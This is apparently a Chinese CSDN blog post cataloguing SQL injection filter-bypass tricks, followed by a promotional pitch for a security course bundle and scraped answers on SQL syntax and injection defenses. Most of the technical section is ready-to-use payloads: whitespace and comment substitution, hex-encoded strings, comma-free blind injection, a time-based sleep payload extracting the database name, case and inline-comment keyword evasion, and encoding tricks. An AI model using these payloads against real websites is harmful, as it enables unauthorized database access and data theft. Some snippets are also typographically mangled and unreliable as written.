黑客常用SQL注入绕过技术总结!(冰河吐血整理,建议收藏)

本文详细介绍了SQL注入中避开空格、使用注释、浮点数、括号、引号、逗号等字符进行绕过的技巧,以及与之相关的网络安全学习资源、工具和实战项目,帮助读者构建安全防护知识体系。
摘要由CSDN通过智能技术生成

1.绕过空格(注释符/* */,%a0)

两个空格代替一个空格,用Tab代替空格,%a0=空格:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

最基本的绕过方法,用注释替换空格:

/* 注释 */

img

使用浮点数:

select * from users where id=8E0union select 1,2,3

select * from users where id=8.0 select 1,2,3

2.括号绕过空格

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

3.引号绕过(使用十六进制)

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name from information_schema.tables where table_name=“users”

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273

4.逗号绕过(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join:

union select 1,2 #等价于

union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #等价于

select user() like ‘r%’

对于limit可以使用offset来绕过:

select * from news limit 0,1

# 等价于下面这条SQL语句

select * from news limit 1 offset 0

5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b:返回a,b之间的数据,不包含b。

6.or and xor not绕过

and=&& or=|| xor=| not=!

7.绕过注释符号(#,–(后面跟一个空格))过滤

id=1’ union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1’ union select 1,2,'3

8.=绕过

使用like 、rlike 、regexp 或者 使用< 或者 >

9.绕过union,select,where等

(1)使用注释符绕过

常用注释符:

//,-- , /**/, #, --+, – -, ;,%00,–a

用法:

U// NION // SE// LECT //user,pwd from user

(2)使用大小写绕过

id=-1’UnIoN/**/SeLeCT

(3)内联注释绕过

id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过)

id=-1’UNIunionONSeLselectECT1,2,3–-

10.通用绕过(编码)

如URLEncode编码,ASCII,HEX,unicode编码绕过:

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11.等价函数绕过

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:

substr((select ‘password’),1,1) = 0x70

本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。

最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 23
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL(Structured Query Language)是用于关系数据库管理系统的标准语言,用于检索和管理数据。下面是SQL中一些常见的插入语法: 1. 使用INSERT INTO语句插入新数据行: INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...); 2. 使用INSERT INTO SELECT语句将查询结果插入到表中: INSERT INTO table_name (column1, column2, column3, ...) SELECT column1, column2, column3, ... FROM another_table WHERE condition; 3. 使用INSERT INTO VALUES语句插入多个数据行: INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...), (value4, value5, value6, ...), (value7, value8, value9, ...); 希望这能帮到您! ### 回答2: SQL注入绕过方式是黑客利用网站没有对用户输入的SQL语句进行充分验证和过滤所导致的攻击方式。以下是一些常见的SQL注入绕过方式: 1. 字符串拼接绕过:在SQL注入攻击时,黑客通常会在用户输入的字符串中插入SQL语句,以改变原始SQL查询的逻辑。为了避免被检测到,黑客可能会使用字符串拼接来规避特殊字符的检测,例如用两个单引号代替一个单引号来绕过检测。 2. 注释绕过黑客可能会在SQL语句中使用注释符号来注释掉原始查询的结尾部分,然后插入自己的恶意SQL语句。 3. UNION注入:黑客可以利用UNION关键字将两个查询结果进行连接,并将恶意代码插入到UNION查询的结果中。 4. 盲注入:黑客通过盲目地猜测和推测来进行注入攻击,而不直接得到返回的数据。这种方式需要黑客进行更多的尝试和推测,但可以避免产生错误消息。 5. 布尔注入:黑客使用布尔逻辑来决定SQL语句的真假,通过观察不同的页面响应结果,从而推测SQL查询的结果。 为了防止SQL注入攻击,开发人员应该采取以下措施: - 使用参数化查询或预编译语句,而不是拼接用户输入的字符串来构建SQL语句。 - 对用户输入的数据进行严格的验证和过滤,确保只有合法的数据可以用于构建SQL查询。 - 应用程序的数据库账户应该具有最小的权限,避免对数据库进行敏感操作。 - 对所有输入进行输入验证,确保输入符合预期类型和长度。 - 及时更新和修补数据库系统和应用程序的漏洞。 ### 回答3: SQL注入是一种利用输入参数中的恶意SQL代码来绕过应用程序对数据的合法性验证的攻击方法。以下是常见的SQL注入绕过方式: 1. 基于输入的绕过方式:攻击者可以通过在输入中插入特殊字符或语法来破坏原有的SQL查询结构,从而绕过检查。例如,在输入中插入单引号、双引号、分号等特殊字符可以破坏SQL查询的语法。 2. 基于语句拼接的绕过方式:当应用程序使用字符串拼接构造SQL语句时,攻击者可以通过向拼接的字符串中插入恶意代码来执行额外的SQL语句。这种方式下,攻击者可以通过构造恶意代码来绕过应用程序的SQL检查。 3. 基于注释的绕过方式:攻击者可以使用SQL注释符号(例如"--")来注释掉原有的SQL语句,然后插入恶意代码。这种方式下,恶意代码不会被应用程序识别为SQL语句,从而绕过SQL检查。 4. 基于联合查询的绕过方式:攻击者可以通过在恶意输入中插入UNION关键字来将恶意查询和原始查询合并在一起执行。这种方式可以让攻击者获取未授权的数据或执行未授权的操作。 5. 基于错误消息的绕过方式:攻击者可以通过构造特定的恶意输入来引发SQL语法错误,从而导致应用程序返回详细的错误消息。这些错误消息可能包含敏感信息,例如数据库结构、查询逻辑等,攻击者可以利用这些信息来进一步攻击系统。 为了防止SQL注入攻击,开发人员应该采取以下措施:使用参数化查询或预编译语句来避免使用字符串拼接,对输入进行严格的验证和过滤,限制用户对数据库的权限,将敏感信息加密存储等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值